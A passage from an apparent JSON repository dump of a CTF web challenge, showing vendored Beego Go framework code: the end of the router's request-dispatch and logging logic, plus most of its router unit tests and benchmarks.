{\n\t\t\t\trunMethod = method\n\t\t\t}\n\t\t}\n\t}\n\n\t// also defined runRouter & runMethod from filter\n\tif !isRunnable {\n\t\t//Invoke the request handler\n\t\tvar execController ControllerInterface\n\t\tif routerInfo.initialize != nil {\n\t\t\texecController = routerInfo.initialize()\n\t\t} else {\n\t\t\tvc := reflect.New(runRouter)\n\t\t\tvar ok bool\n\t\t\texecController, ok = vc.Interface().(ControllerInterface)\n\t\t\tif !ok {\n\t\t\t\tpanic(\"controller is not ControllerInterface\")\n\t\t\t}\n\t\t}\n\n\t\t//call the controller init function\n\t\texecController.Init(context, runRouter.Name(), runMethod, execController)\n\n\t\t//call prepare function\n\t\texecController.Prepare()\n\n\t\t//if XSRF is Enable then check cookie where there has any cookie in the  request's cookie _csrf\n\t\tif BConfig.WebConfig.EnableXSRF {\n\t\t\texecController.XSRFToken()\n\t\t\tif r.Method == http.MethodPost || r.Method == http.MethodDelete || r.Method == http.MethodPut ||\n\t\t\t\t(r.Method == http.MethodPost && (context.Input.Query(\"_method\") == http.MethodDelete || context.Input.Query(\"_method\") == http.MethodPut)) {\n\t\t\t\texecController.CheckXSRFCookie()\n\t\t\t}\n\t\t}\n\n\t\texecController.URLMapping()\n\n\t\tif !context.ResponseWriter.Started {\n\t\t\t//exec main logic\n\t\t\tswitch runMethod {\n\t\t\tcase http.MethodGet:\n\t\t\t\texecController.Get()\n\t\t\tcase http.MethodPost:\n\t\t\t\texecController.Post()\n\t\t\tcase http.MethodDelete:\n\t\t\t\texecController.Delete()\n\t\t\tcase http.MethodPut:\n\t\t\t\texecController.Put()\n\t\t\tcase http.MethodHead:\n\t\t\t\texecController.Head()\n\t\t\tcase http.MethodPatch:\n\t\t\t\texecController.Patch()\n\t\t\tcase http.MethodOptions:\n\t\t\t\texecController.Options()\n\t\t\tdefault:\n\t\t\t\tif !execController.HandlerFunc(runMethod) {\n\t\t\t\t\tvc := reflect.ValueOf(execController)\n\t\t\t\t\tmethod := vc.MethodByName(runMethod)\n\t\t\t\t\tin := param.ConvertParams(methodParams, method.Type(), context)\n\t\t\t\t\tout := method.Call(in)\n\n\t\t\t\t\t//For backward compatibility we only handle response if we had incoming methodParams\n\t\t\t\t\tif methodParams != nil {\n\t\t\t\t\t\tp.handleParamResponse(context, execController, out)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t//render template\n\t\t\tif !context.ResponseWriter.Started && context.Output.Status == 0 {\n\t\t\t\tif BConfig.WebConfig.AutoRender {\n\t\t\t\t\tif err := execController.Render(); err != nil {\n\t\t\t\t\t\tlogs.Error(err)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// finish all runRouter. release resource\n\t\texecController.Finish()\n\t}\n\n\t//execute middleware filters\n\tif len(p.filters[AfterExec]) > 0 && p.execFilter(context, urlPath, AfterExec) {\n\t\tgoto Admin\n\t}\n\n\tif len(p.filters[FinishRouter]) > 0 && p.execFilter(context, urlPath, FinishRouter) {\n\t\tgoto Admin\n\t}\n\nAdmin:\n\t//admin module record QPS\n\n\tstatusCode := context.ResponseWriter.Status\n\tif statusCode == 0 {\n\t\tstatusCode = 200\n\t}\n\n\tif BConfig.Listen.EnableAdmin {\n\t\ttimeDur := time.Since(startTime)\n\t\tpattern := \"\"\n\t\tif routerInfo != nil {\n\t\t\tpattern = routerInfo.pattern\n\t\t}\n\n\t\tif FilterMonitorFunc(r.Method, r.URL.Path, timeDur, pattern, statusCode) {\n\t\t\tif runRouter != nil {\n\t\t\t\tgo toolbox.StatisticsMap.AddStatistics(r.Method, r.URL.Path, runRouter.Name(), timeDur)\n\t\t\t} else {\n\t\t\t\tgo toolbox.StatisticsMap.AddStatistics(r.Method, r.URL.Path, \"\", timeDur)\n\t\t\t}\n\t\t}\n\t}\n\n\tif BConfig.RunMode == DEV || BConfig.Log.AccessLogs {\n\t\ttimeDur := time.Since(startTime)\n\t\tvar devInfo string\n\n\t\tiswin := (runtime.GOOS == \"windows\")\n\t\tstatusColor := logs.ColorByStatus(iswin, statusCode)\n\t\tmethodColor := logs.ColorByMethod(iswin, r.Method)\n\t\tresetColor := logs.ColorByMethod(iswin, \"\")\n\t\tif BConfig.Log.AccessLogsFormat != \"\" {\n\t\t\trecord := &logs.AccessLogRecord{\n\t\t\t\tRemoteAddr:     context.Input.IP(),\n\t\t\t\tRequestTime:    startTime,\n\t\t\t\tRequestMethod:  r.Method,\n\t\t\t\tRequest:        fmt.Sprintf(\"%s %s %s\", r.Method, r.RequestURI, r.Proto),\n\t\t\t\tServerProtocol: r.Proto,\n\t\t\t\tHost:           r.Host,\n\t\t\t\tStatus:         statusCode,\n\t\t\t\tElapsedTime:    timeDur,\n\t\t\t\tHTTPReferrer:   r.Header.Get(\"Referer\"),\n\t\t\t\tHTTPUserAgent:  r.Header.Get(\"User-Agent\"),\n\t\t\t\tRemoteUser:     r.Header.Get(\"Remote-User\"),\n\t\t\t\tBodyBytesSent:  0, //@todo this one is missing!\n\t\t\t}\n\t\t\tlogs.AccessLog(record, BConfig.Log.AccessLogsFormat)\n\t\t} else {\n\t\t\tif findRouter {\n\t\t\t\tif routerInfo != nil {\n\t\t\t\t\tdevInfo = fmt.Sprintf(\"|%15s|%s %3d %s|%13s|%8s|%s %-7s %s %-3s   r:%s\", context.Input.IP(), statusColor, statusCode,\n\t\t\t\t\t\tresetColor, timeDur.String(), \"match\", methodColor, r.Method, resetColor, r.URL.Path,\n\t\t\t\t\t\trouterInfo.pattern)\n\t\t\t\t} else {\n\t\t\t\t\tdevInfo = fmt.Sprintf(\"|%15s|%s %3d %s|%13s|%8s|%s %-7s %s %-3s\", context.Input.IP(), statusColor, statusCode, resetColor,\n\t\t\t\t\t\ttimeDur.String(), \"match\", methodColor, r.Method, resetColor, r.URL.Path)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tdevInfo = fmt.Sprintf(\"|%15s|%s %3d %s|%13s|%8s|%s %-7s %s %-3s\", context.Input.IP(), statusColor, statusCode, resetColor,\n\t\t\t\t\ttimeDur.String(), \"nomatch\", methodColor, r.Method, resetColor, r.URL.Path)\n\t\t\t}\n\t\t\tif iswin {\n\t\t\t\tlogs.W32Debug(devInfo)\n\t\t\t} else {\n\t\t\t\tlogs.Debug(devInfo)\n\t\t\t}\n\t\t}\n\t}\n\t// Call WriteHeader if status code has been set changed\n\tif context.Output.Status != 0 {\n\t\tcontext.ResponseWriter.WriteHeader(context.Output.Status)\n\t}\n}\n\nfunc (p *ControllerRegister) handleParamResponse(context *beecontext.Context, execController ControllerInterface, results []reflect.Value) {\n\t//looping in reverse order for the case when both error and value are returned and error sets the response status code\n\tfor i := len(results) - 1; i >= 0; i-- {\n\t\tresult := results[i]\n\t\tif result.Kind() != reflect.Interface || !result.IsNil() {\n\t\t\tresultValue := result.Interface()\n\t\t\tcontext.RenderMethodResult(resultValue)\n\t\t}\n\t}\n\tif !context.ResponseWriter.Started && context.Output.Status == 0 {\n\t\tcontext.Output.SetStatus(200)\n\t}\n}\n\n// FindRouter Find Router info for URL\nfunc (p *ControllerRegister) FindRouter(context *beecontext.Context) (routerInfo *ControllerInfo, isFind bool) {\n\tvar urlPath = context.Input.URL()\n\tif !BConfig.RouterCaseSensitive {\n\t\turlPath = strings.ToLower(urlPath)\n\t}\n\thttpMethod := context.Input.Method()\n\tif t, ok := p.routers[httpMethod]; ok {\n\t\trunObject := t.Match(urlPath, context)\n\t\tif r, ok := runObject.(*ControllerInfo); ok {\n\t\t\treturn r, true\n\t\t}\n\t}\n\treturn\n}\n\nfunc toURL(params map[string]string) string {\n\tif len(params) == 0 {\n\t\treturn \"\"\n\t}\n\tu := \"?\"\n\tfor k, v := range params {\n\t\tu += k + \"=\" + v + \"&\"\n\t}\n\treturn strings.TrimRight(u, \"&\")\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/router_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport (\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/astaxie/beego/context\"\n\t\"github.com/astaxie/beego/logs\"\n)\n\ntype TestController struct {\n\tController\n}\n\nfunc (tc *TestController) Get() {\n\ttc.Data[\"Username\"] = \"astaxie\"\n\ttc.Ctx.Output.Body([]byte(\"ok\"))\n}\n\nfunc (tc *TestController) Post() {\n\ttc.Ctx.Output.Body([]byte(tc.Ctx.Input.Query(\":name\")))\n}\n\nfunc (tc *TestController) Param() {\n\ttc.Ctx.Output.Body([]byte(tc.Ctx.Input.Query(\":name\")))\n}\n\nfunc (tc *TestController) List() {\n\ttc.Ctx.Output.Body([]byte(\"i am list\"))\n}\n\nfunc (tc *TestController) Params() {\n\ttc.Ctx.Output.Body([]byte(tc.Ctx.Input.Param(\"0\") + tc.Ctx.Input.Param(\"1\") + tc.Ctx.Input.Param(\"2\")))\n}\n\nfunc (tc *TestController) Myext() {\n\ttc.Ctx.Output.Body([]byte(tc.Ctx.Input.Param(\":ext\")))\n}\n\nfunc (tc *TestController) GetURL() {\n\ttc.Ctx.Output.Body([]byte(tc.URLFor(\".Myext\")))\n}\n\nfunc (tc *TestController) GetParams() {\n\ttc.Ctx.WriteString(tc.Ctx.Input.Query(\":last\") + \"+\" +\n\t\ttc.Ctx.Input.Query(\":first\") + \"+\" + tc.Ctx.Input.Query(\"learn\"))\n}\n\nfunc (tc *TestController) GetManyRouter() {\n\ttc.Ctx.WriteString(tc.Ctx.Input.Query(\":id\") + tc.Ctx.Input.Query(\":page\"))\n}\n\nfunc (tc *TestController) GetEmptyBody() {\n\tvar res []byte\n\ttc.Ctx.Output.Body(res)\n}\n\ntype ResStatus struct {\n\tCode int\n\tMsg  string\n}\n\ntype JSONController struct {\n\tController\n}\n\nfunc (jc *JSONController) Prepare() {\n\tjc.Data[\"json\"] = \"prepare\"\n\tjc.ServeJSON(true)\n}\n\nfunc (jc *JSONController) Get() {\n\tjc.Data[\"Username\"] = \"astaxie\"\n\tjc.Ctx.Output.Body([]byte(\"ok\"))\n}\n\nfunc TestUrlFor(t *testing.T) {\n\thandler := NewControllerRegister()\n\thandler.Add(\"/api/list\", &TestController{}, \"*:List\")\n\thandler.Add(\"/person/:last/:first\", &TestController{}, \"*:Param\")\n\tif a := handler.URLFor(\"TestController.List\"); a != \"/api/list\" {\n\t\tlogs.Info(a)\n\t\tt.Errorf(\"TestController.List must equal to /api/list\")\n\t}\n\tif a := handler.URLFor(\"TestController.Param\", \":last\", \"xie\", \":first\", \"asta\"); a != \"/person/xie/asta\" {\n\t\tt.Errorf(\"TestController.Param must equal to /person/xie/asta, but get \" + a)\n\t}\n}\n\nfunc TestUrlFor3(t *testing.T) {\n\thandler := NewControllerRegister()\n\thandler.AddAuto(&TestController{})\n\tif a := handler.URLFor(\"TestController.Myext\"); a != \"/test/myext\" && a != \"/Test/Myext\" {\n\t\tt.Errorf(\"TestController.Myext must equal to /test/myext, but get \" + a)\n\t}\n\tif a := handler.URLFor(\"TestController.GetURL\"); a != \"/test/geturl\" && a != \"/Test/GetURL\" {\n\t\tt.Errorf(\"TestController.GetURL must equal to /test/geturl, but get \" + a)\n\t}\n}\n\nfunc TestUrlFor2(t *testing.T) {\n\thandler := NewControllerRegister()\n\thandler.Add(\"/v1/:v/cms_:id(.+)_:page(.+).html\", &TestController{}, \"*:List\")\n\thandler.Add(\"/v1/:username/edit\", &TestController{}, \"get:GetURL\")\n\thandler.Add(\"/v1/:v(.+)_cms/ttt_:id(.+)_:page(.+).html\", &TestController{}, \"*:Param\")\n\thandler.Add(\"/:year:int/:month:int/:title/:entid\", &TestController{})\n\tif handler.URLFor(\"TestController.GetURL\", \":username\", \"astaxie\") != \"/v1/astaxie/edit\" {\n\t\tlogs.Info(handler.URLFor(\"TestController.GetURL\"))\n\t\tt.Errorf(\"TestController.List must equal to /v1/astaxie/edit\")\n\t}\n\n\tif handler.URLFor(\"TestController.List\", \":v\", \"za\", \":id\", \"12\", \":page\", \"123\") !=\n\t\t\"/v1/za/cms_12_123.html\" {\n\t\tlogs.Info(handler.URLFor(\"TestController.List\"))\n\t\tt.Errorf(\"TestController.List must equal to /v1/za/cms_12_123.html\")\n\t}\n\tif handler.URLFor(\"TestController.Param\", \":v\", \"za\", \":id\", \"12\", \":page\", \"123\") !=\n\t\t\"/v1/za_cms/ttt_12_123.html\" {\n\t\tlogs.Info(handler.URLFor(\"TestController.Param\"))\n\t\tt.Errorf(\"TestController.List must equal to /v1/za_cms/ttt_12_123.html\")\n\t}\n\tif handler.URLFor(\"TestController.Get\", \":year\", \"1111\", \":month\", \"11\",\n\t\t\":title\", \"aaaa\", \":entid\", \"aaaa\") !=\n\t\t\"/1111/11/aaaa/aaaa\" {\n\t\tlogs.Info(handler.URLFor(\"TestController.Get\"))\n\t\tt.Errorf(\"TestController.Get must equal to /1111/11/aaaa/aaaa\")\n\t}\n}\n\nfunc TestUserFunc(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"/api/list\", nil)\n\tw := httptest.NewRecorder()\n\n\thandler := NewControllerRegister()\n\thandler.Add(\"/api/list\", &TestController{}, \"*:List\")\n\thandler.ServeHTTP(w, r)\n\tif w.Body.String() != \"i am list\" {\n\t\tt.Errorf(\"user define func can't run\")\n\t}\n}\n\nfunc TestPostFunc(t *testing.T) {\n\tr, _ := http.NewRequest(\"POST\", \"/astaxie\", nil)\n\tw := httptest.NewRecorder()\n\n\thandler := NewControllerRegister()\n\thandler.Add(\"/:name\", &TestController{})\n\thandler.ServeHTTP(w, r)\n\tif w.Body.String() != \"astaxie\" {\n\t\tt.Errorf(\"post func should astaxie\")\n\t}\n}\n\nfunc TestAutoFunc(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"/test/list\", nil)\n\tw := httptest.NewRecorder()\n\n\thandler := NewControllerRegister()\n\thandler.AddAuto(&TestController{})\n\thandler.ServeHTTP(w, r)\n\tif w.Body.String() != \"i am list\" {\n\t\tt.Errorf(\"user define func can't run\")\n\t}\n}\n\nfunc TestAutoFunc2(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"/Test/List\", nil)\n\tw := httptest.NewRecorder()\n\n\thandler := NewControllerRegister()\n\thandler.AddAuto(&TestController{})\n\thandler.ServeHTTP(w, r)\n\tif w.Body.String() != \"i am list\" {\n\t\tt.Errorf(\"user define func can't run\")\n\t}\n}\n\nfunc TestAutoFuncParams(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"/test/params/2009/11/12\", nil)\n\tw := httptest.NewRecorder()\n\n\thandler := NewControllerRegister()\n\thandler.AddAuto(&TestController{})\n\thandler.ServeHTTP(w, r)\n\tif w.Body.String() != \"20091112\" {\n\t\tt.Errorf(\"user define func can't run\")\n\t}\n}\n\nfunc TestAutoExtFunc(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"/test/myext.json\", nil)\n\tw := httptest.NewRecorder()\n\n\thandler := NewControllerRegister()\n\thandler.AddAuto(&TestController{})\n\thandler.ServeHTTP(w, r)\n\tif w.Body.String() != \"json\" {\n\t\tt.Errorf(\"user define func can't run\")\n\t}\n}\n\nfunc TestRouteOk(t *testing.T) {\n\n\tr, _ := http.NewRequest(\"GET\", \"/person/anderson/thomas?learn=kungfu\", nil)\n\tw := httptest.NewRecorder()\n\n\thandler := NewControllerRegister()\n\thandler.Add(\"/person/:last/:first\", &TestController{}, \"get:GetParams\")\n\thandler.ServeHTTP(w, r)\n\tbody := w.Body.String()\n\tif body != \"anderson+thomas+kungfu\" {\n\t\tt.Errorf(\"url param set to [%s];\", body)\n\t}\n}\n\nfunc TestManyRoute(t *testing.T) {\n\n\tr, _ := http.NewRequest(\"GET\", \"/beego32-12.html\", nil)\n\tw := httptest.NewRecorder()\n\n\thandler := NewControllerRegister()\n\thandler.Add(\"/beego:id([0-9]+)-:page([0-9]+).html\", &TestController{}, \"get:GetManyRouter\")\n\thandler.ServeHTTP(w, r)\n\n\tbody := w.Body.String()\n\n\tif body != \"3212\" {\n\t\tt.Errorf(\"url param set to [%s];\", body)\n\t}\n}\n\n// Test for issue #1669\nfunc TestEmptyResponse(t *testing.T) {\n\n\tr, _ := http.NewRequest(\"GET\", \"/beego-empty.html\", nil)\n\tw := httptest.NewRecorder()\n\n\thandler := NewControllerRegister()\n\thandler.Add(\"/beego-empty.html\", &TestController{}, \"get:GetEmptyBody\")\n\thandler.ServeHTTP(w, r)\n\n\tif body := w.Body.String(); body != \"\" {\n\t\tt.Error(\"want empty body\")\n\t}\n}\n\nfunc TestNotFound(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"/\", nil)\n\tw := httptest.NewRecorder()\n\n\thandler := NewControllerRegister()\n\thandler.ServeHTTP(w, r)\n\n\tif w.Code != http.StatusNotFound {\n\t\tt.Errorf(\"Code set to [%v]; want [%v]\", w.Code, http.StatusNotFound)\n\t}\n}\n\n// TestStatic tests the ability to serve static\n// content from the filesystem\nfunc TestStatic(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"/static/js/jquery.js\", nil)\n\tw := httptest.NewRecorder()\n\n\thandler := NewControllerRegister()\n\thandler.ServeHTTP(w, r)\n\n\tif w.Code != 404 {\n\t\tt.Errorf(\"handler.Static failed to serve file\")\n\t}\n}\n\nfunc TestPrepare(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"/json/list\", nil)\n\tw := httptest.NewRecorder()\n\n\thandler := NewControllerRegister()\n\thandler.Add(\"/json/list\", &JSONController{})\n\thandler.ServeHTTP(w, r)\n\tif w.Body.String() != `\"prepare\"` {\n\t\tt.Errorf(w.Body.String() + \"user define func can't run\")\n\t}\n}\n\nfunc TestAutoPrefix(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"/admin/test/list\", nil)\n\tw := httptest.NewRecorder()\n\n\thandler := NewControllerRegister()\n\thandler.AddAutoPrefix(\"/admin\", &TestController{})\n\thandler.ServeHTTP(w, r)\n\tif w.Body.String() != \"i am list\" {\n\t\tt.Errorf(\"TestAutoPrefix can't run\")\n\t}\n}\n\nfunc TestRouterGet(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"/user\", nil)\n\tw := httptest.NewRecorder()\n\n\thandler := NewControllerRegister()\n\thandler.Get(\"/user\", func(ctx *context.Context) {\n\t\tctx.Output.Body([]byte(\"Get userlist\"))\n\t})\n\thandler.ServeHTTP(w, r)\n\tif w.Body.String() != \"Get userlist\" {\n\t\tt.Errorf(\"TestRouterGet can't run\")\n\t}\n}\n\nfunc TestRouterPost(t *testing.T) {\n\tr, _ := http.NewRequest(\"POST\", \"/user/123\", nil)\n\tw := httptest.NewRecorder()\n\n\thandler := NewControllerRegister()\n\thandler.Post(\"/user/:id\", func(ctx *context.Context) {\n\t\tctx.Output.Body([]byte(ctx.Input.Param(\":id\")))\n\t})\n\thandler.ServeHTTP(w, r)\n\tif w.Body.String() != \"123\" {\n\t\tt.Errorf(\"TestRouterPost can't run\")\n\t}\n}\n\nfunc sayhello(w http.ResponseWriter, r *http.Request) {\n\tw.Write([]byte(\"sayhello\"))\n}\n\nfunc TestRouterHandler(t *testing.T) {\n\tr, _ := http.NewRequest(\"POST\", \"/sayhi\", nil)\n\tw := httptest.NewRecorder()\n\n\thandler := NewControllerRegister()\n\thandler.Handler(\"/sayhi\", http.HandlerFunc(sayhello))\n\thandler.ServeHTTP(w, r)\n\tif w.Body.String() != \"sayhello\" {\n\t\tt.Errorf(\"TestRouterHandler can't run\")\n\t}\n}\n\nfunc TestRouterHandlerAll(t *testing.T) {\n\tr, _ := http.NewRequest(\"POST\", \"/sayhi/a/b/c\", nil)\n\tw := httptest.NewRecorder()\n\n\thandler := NewControllerRegister()\n\thandler.Handler(\"/sayhi\", http.HandlerFunc(sayhello), true)\n\thandler.ServeHTTP(w, r)\n\tif w.Body.String() != \"sayhello\" {\n\t\tt.Errorf(\"TestRouterHandler can't run\")\n\t}\n}\n\n//\n// Benchmarks NewApp:\n//\n\nfunc beegoFilterFunc(ctx *context.Context) {\n\tctx.WriteString(\"hello\")\n}\n\ntype AdminController struct {\n\tController\n}\n\nfunc (a *AdminController) Get() {\n\ta.Ctx.WriteString(\"hello\")\n}\n\nfunc TestRouterFunc(t *testing.T) {\n\tmux := NewControllerRegister()\n\tmux.Get(\"/action\", beegoFilterFunc)\n\tmux.Post(\"/action\", beegoFilterFunc)\n\trw, r := testRequest(\"GET\", \"/action\")\n\tmux.ServeHTTP(rw, r)\n\tif rw.Body.String() != \"hello\" {\n\t\tt.Errorf(\"TestRouterFunc can't run\")\n\t}\n}\n\nfunc BenchmarkFunc(b *testing.B) {\n\tmux := NewControllerRegister()\n\tmux.Get(\"/action\", beegoFilterFunc)\n\trw, r := testRequest(\"GET\", \"/action\")\n\tb.ResetTimer()\n\tfor i := 0; i < b.N; i++ {\n\t\tmux.ServeHTTP(rw, r)\n\t}\n}\n\nfunc BenchmarkController(b *testing.B) {\n\tmux := NewControllerRegister()\n\tmux.Add(\"/action\", &AdminController{})\n\trw, r := testRequest(\"GET\", \"/action\")\n\tb.ResetTimer()\n\tfor i := 0; i < b.N; i++ {\n\t\tmux.ServeHTTP(rw, r)\n\t}\n}\n\nfunc testRequest(method, path string) (*httptest.ResponseRecorder, *http.Request) {\n\trequest, _ := http.NewRequest(method, path, nil)\n\trecorder := httptest.NewRecorder()\n\n\treturn recorder, request\n}\n\n// Expectation: A Filter with the correct configuration should be created given\n// specific parameters.\nfunc TestInsertFilter(t *testing.T) {\n\ttestName := \"TestInsertFilter\"\n\n\tmux := NewControllerRegister()\n\tmux.InsertFilter(\"*\", BeforeRouter, func(*context.Context) {})\n\tif !mux.filters[BeforeRouter][0].returnOnOutput {\n\t\tt.Errorf(\n\t\t\t\"%s: passing no variadic params should set returnOnOutput to true\",\n\t\t\ttestName)\n\t}\n\tif mux.filters[BeforeRouter][0].resetParams {\n\t\tt.Errorf(\n\t\t\t\"%s: passing no variadic params should set resetParams to false\",\n\t\t\ttestName)\n\t}\n\n\tmux = NewControllerRegister()\n\tmux.InsertFilter(\"*\", BeforeRouter, func(*context.Context) {}, false)\n\tif mux.filters[BeforeRouter][0].returnOnOutput {\n\t\tt.Errorf(\n\t\t\t\"%s: passing false as 1st variadic param should set returnOnOutput to false\",\n\t\t\ttestName)\n\t}\n\n\tmux = NewControllerRegister()\n\tmux.InsertFilter(\"*\", BeforeRouter, func(*context.Context) {}, true, true)\n\tif !mux.filters[BeforeRouter][0].resetParams {\n\t\tt.Errorf(\n\t\t\t\"%s: passing true as 2nd variadic param should set resetParams to true\",\n\t\t\ttestName)\n\t}\n}\n\n// Expectation: the second variadic arg should cause the execution of the filter\n// to preserve the parameters from before its execution.\nfunc TestParamResetFilter(t *testing.T) {\n\ttestName := \"TestParamResetFilter\"\n\troute := \"/beego/*\" // splat\n\tpath := \"/beego/routes/routes\"\n\n\tmux := NewControllerRegister()\n\n\tmux.InsertFilter(\"*\", BeforeExec, beegoResetParams, true, true)\n\n\tmux.Get(route, beegoHandleResetParams)\n\n\trw, r := testRequest(\"GET\", path)\n\tmux.ServeHTTP(rw, r)\n\n\t// The two functions, `beegoResetParams` and `beegoHandleResetParams` add\n\t// a response header of `Splat`.  The expectation here is that that Header\n\t// value should match what the _request's_ router set, not the filter's.\n\n\theaders := rw.HeaderMap\n\tif len(headers[\"Splat\"]) != 1 {\n\t\tt.Errorf(\n\t\t\t\"%s: There was an error in the test. Splat param not set in Header\",\n\t\t\ttestName)\n\t}\n\tif headers[\"Splat\"][0] != \"routes/routes\" {\n\t\tt.Errorf(\n\t\t\t\"%s: expected `:splat` param to be [routes/routes] but it was [%s]\",\n\t\t\ttestName, headers[\"Splat\"][0])\n\t}\n}\n\n// Execution point: BeforeRouter\n// expectation: only BeforeRouter function is executed, notmatch output as router doesn't handle\nfunc TestFilterBeforeRouter(t *testing.T) {\n\ttestName := \"TestFilterBeforeRouter\"\n\turl := \"/beforeRouter\"\n\n\tmux := NewControllerRegister()\n\tmux.InsertFilter(url, BeforeRouter, beegoBeforeRouter1)\n\n\tmux.Get(url, beegoFilterFunc)\n\n\trw, r := testRequest(\"GET\", url)\n\tmux.ServeHTTP(rw, r)\n\n\tif !strings.Contains(rw.Body.String(), \"BeforeRouter1\") {\n\t\tt.Errorf(testName + \" BeforeRouter did not run\")\n\t}\n\tif strings.Contains(rw.Body.String(), \"hello\") {\n\t\tt.Errorf(testName + \" BeforeRouter did not return properly\")\n\t}\n}\n\n// Execution point: BeforeExec\n// expectation: only BeforeExec function is executed, match as router determines route only\nfunc TestFilterBeforeExec(t *testing.T) {\n\ttestName := \"TestFilterBeforeExec\"\n\turl := \"/beforeExec\"\n\n\tmux := NewControllerRegister()\n\tmux.InsertFilter(url, BeforeRouter, beegoFilterNoOutput)\n\tmux.InsertFilter(url, BeforeExec, beegoBeforeExec1)\n\n\tmux.Get(url, beegoFilterFunc)\n\n\trw, r := testRequest(\"GET\", url)\n\tmux.ServeHTTP(rw, r)\n\n\tif !strings.Contains(rw.Body.String(), \"BeforeExec1\") {\n\t\tt.Errorf(testName + \" BeforeExec did not run\")\n\t}\n\tif strings.Contains(rw.Body.String(), \"hello\") {\n\t\tt.Errorf(testName + \" BeforeExec did not return properly\")\n\t}\n\tif strings.Contains(rw.Body.String(), \"BeforeRouter\") {\n\t\tt.Errorf(testName + \" BeforeRouter ran in error\")\n\t}\n}\n\n// Execution point: AfterExec\n// expectation: only AfterExec function is executed, match as router handles\nfunc TestFilterAfterExec(t *testing.T) {\n\ttestName := \"TestFilterAfterExec\"\n\turl := \"/afterExec\"\n\n\tmux := NewControllerRegister()\n\tmux.InsertFilter(url, BeforeRouter, beegoFilterNoOutput)\n\tmux.InsertFilter(url, BeforeExec, beegoFilterNoOutput)\n\tmux.InsertFilter(url, AfterExec, beegoAfterExec1, false)\n\n\tmux.Get(url, beegoFilterFunc)\n\n\trw, r := testRequest(\"GET\", url)\n\tmux.ServeHTTP(rw, r)\n\n\tif !strings.Contains(rw.Body.String(), \"AfterExec1\") {\n\t\tt.Errorf(testName + \" AfterExec did not run\")\n\t}\n\tif !strings.Contains(rw.Body.String(), \"hello\") {\n\t\tt.Errorf(testName + \" handler did not run properly\")\n\t}\n\tif strings.Contains(rw.Body.String(), \"BeforeRouter\") {\n\t\tt.Errorf(testName + \" BeforeRouter ran in error\")\n\t}\n\tif strings.Contains(rw.Body.String(), \"BeforeExec\") {\n\t\tt.Errorf(testName + \" BeforeExec ran in error\")\n\t}\n}\n\n// Execution point: FinishRouter\n// expectation: only FinishRouter function is executed, match as router handles\nfunc TestFilterFinishRouter(t *testing.T) {\n\ttestName := \"TestFilterFinishRouter\"\n\turl := \"/finishRouter\"\n\n\tmux := NewControllerRegister()\n\tmux.InsertFilter(url, BeforeRouter, beegoFilterNoOutput)\n\tmux.InsertFilter(url, BeforeExec, beegoFilterNoOutput)\n\tmux.InsertFilter(url, AfterExec, beegoFilterNoOutput)\n\tmux.InsertFilter(url, FinishRouter, beegoFinishRouter1)\n\n\tmux.Get(url, beegoFilterFunc)\n\n\trw, r := testRequest(\"GET\", url)\n\tmux.ServeHTTP(rw, r)\n\n\tif strings.Contains(rw.Body.String(), \"FinishRouter1\") {\n\t\tt.Errorf(testName + \" FinishRouter did not run\")\n\t}\n\tif !strings.Contains(rw.Body.String(), \"hello\") {\n\t\tt.Errorf(testName + \" handler did not run properly\")\n\t}\n\tif strings.Contains(rw.Body.String(), \"AfterExec1\") {\n\t\tt.Errorf(testName + \" AfterExec ran in error\")\n\t}\n\tif strings.Contains(rw.Body.String(), \"BeforeRouter\") {\n\t\tt.Errorf(testName + \" BeforeRouter ran in error\")\n\t}\n\tif strings.Contains(rw.Body.String(), \"BeforeExec\") {\n\t\tt.Errorf(testName + \" BeforeExec ran in error\")\n\t}\n}\n\n// Execution point: FinishRouter\n// expectation: only first FinishRouter function is executed, match as router handles\nfunc TestFilterFinishRouterMultiFirstOnly(t *testing.T) {\n\ttestName := \"TestFilterFinishRouterMultiFirstOnly\"\n\turl := \"/finishRouterMultiFirstOnly\"\n\n\tmux := NewControllerRegister()\n\tmux.InsertFilter(url, FinishRouter, beegoFinishRouter1, false)\n\tmux.InsertFilter(url, FinishRouter, beegoFinishRouter2)\n\n\tmux.Get(url, beegoFilterFunc)\n\n\trw, r := testRequest(\"GET\", url)\n\tmux.ServeHTTP(rw, r)\n\n\tif !strings.Contains(rw.Body.String(), \"FinishRouter1\") {\n\t\tt.Errorf(testName + \" FinishRouter1 did not run\")\n\t}\n\tif !strings.Contains(rw.Body.String(), \"hello\") {\n\t\tt.Errorf(testName + \" handler did not run properly\")\n\t}\n\t// not expected in body\n\tif strings.Contains(rw.Body.String(), \"FinishRouter2\") {\n\t\tt.Errorf(testName + \" FinishRouter2 did run\")\n\t}\n}\n\n// Execution point: FinishRouter\n// expectation: both FinishRouter functions execute, match as router handles\nfunc TestFilterFinishRouterMulti(t *testing.T) {\n\ttestName := \"TestFilterFinishRouterMulti\"\n\turl := \"/finishRouterMulti\"\n\n\tmux := NewControllerRegister()\n\tmux.InsertFilter(url, FinishRouter, beegoFinishRouter1, false)\n\tmux.InsertFilter(url, FinishRouter, beegoFinishRouter2, 